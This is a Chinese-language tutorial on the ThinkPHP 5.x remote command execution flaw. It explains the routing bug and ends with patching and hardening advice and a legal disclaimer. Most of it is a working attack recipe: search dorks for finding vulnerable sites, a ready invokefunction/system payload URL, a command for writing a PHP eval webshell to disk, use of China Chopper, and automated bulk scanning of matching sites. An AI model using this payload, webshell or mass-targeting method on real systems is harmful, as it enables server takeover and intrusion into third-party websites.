通过Thinkphp框架漏洞所发现的安全问题
字数 1178 2025-08-18 11:38:28
ThinkPHP框架远程命令执行漏洞分析与利用教学
漏洞概述
ThinkPHP框架在2018年12月9日发布了一个重要的安全更新,修复了一个严重的远程命令执行漏洞。该漏洞影响版本包括:
- ThinkPHP 5.0 (< 5.0.23)
- ThinkPHP 5.1 (< 5.1.31)
漏洞本质是框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能实现远程代码执行。
漏洞特征识别
-
版本识别方法:
- 在目标网站URL后输入不存在的路径(如
/11或/11.php) - 观察错误页面是否泄露框架版本信息
- 典型特征包含"十年磨一剑 - 为API开发设计的高性能框架"等字样
- 在目标网站URL后输入不存在的路径(如
-
搜索引擎识别:
- Google搜索:
thinkphp十年磨一剑 inurl:index.php - 钟馗之眼等搜索引擎:
"十年磨一剑 - 为API开发设计的高性能框架 [ V5.0+版本由+七牛云+独家赞助发布+]"
- Google搜索:
漏洞利用步骤
1. 验证漏洞存在
使用以下payload验证漏洞:
http://target.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 执行系统命令
- 替换
whoami为其他系统命令,如:id- 查看当前用户ls -la- 列出目录内容uname -a- 查看系统信息
3. 权限检查
执行whoami或id命令确认当前用户权限:
- 如果是root/administrator权限,可直接控制系统
- 普通权限需要考虑提权方法
4. 上传Webshell
通过命令执行上传一句话木马:
echo '<?php eval($_POST["cmd"]);?>' > shell.php
然后使用中国菜刀等工具连接webshell。
批量发现方法
-
搜索引擎法:
- 使用Google、钟馗之眼等搜索ThinkPHP特征
- 筛选可能存在漏洞的版本
-
自动化扫描:
- 编写脚本自动检测ThinkPHP版本
- 对符合版本范围的站点尝试payload
漏洞分析
漏洞原理
漏洞源于框架路由机制缺陷:
- 未开启强制路由时,控制器名未充分过滤
- 攻击者可构造特殊路由调用危险函数
- 通过
call_user_func_array实现任意函数调用
攻击链
index.php?s=index/think\app/invokefunction
→ 调用invokefunction控制器
→ 通过function参数指定call_user_func_array
→ vars参数传递system函数和命令参数
→ 实现系统命令执行
防御建议
-
立即措施:
- 升级到安全版本(5.0.23+/5.1.31+)
- 开启强制路由配置
-
长期防护:
- 禁用错误信息泄露(关闭debug模式)
- 配置WAF拦截可疑请求
- 定期安全审计和更新
-
安全配置:
- 限制PHP危险函数(system, exec等)
- 设置文件上传目录不可执行
- 使用最小权限原则运行Web服务
法律与道德声明
- 此漏洞仅限授权测试使用
- 未经授权测试属于违法行为
- 发现漏洞应及时报告厂商
- 严禁利用漏洞进行非法操作
总结
ThinkPHP远程命令执行漏洞因其利用简单、影响广泛而备受关注。安全人员应掌握其原理和防御方法,网站管理员应及时修复漏洞,而攻击者需注意法律边界。框架类漏洞往往影响广泛,一次修复可保护大量站点,体现了框架安全更新的重要性。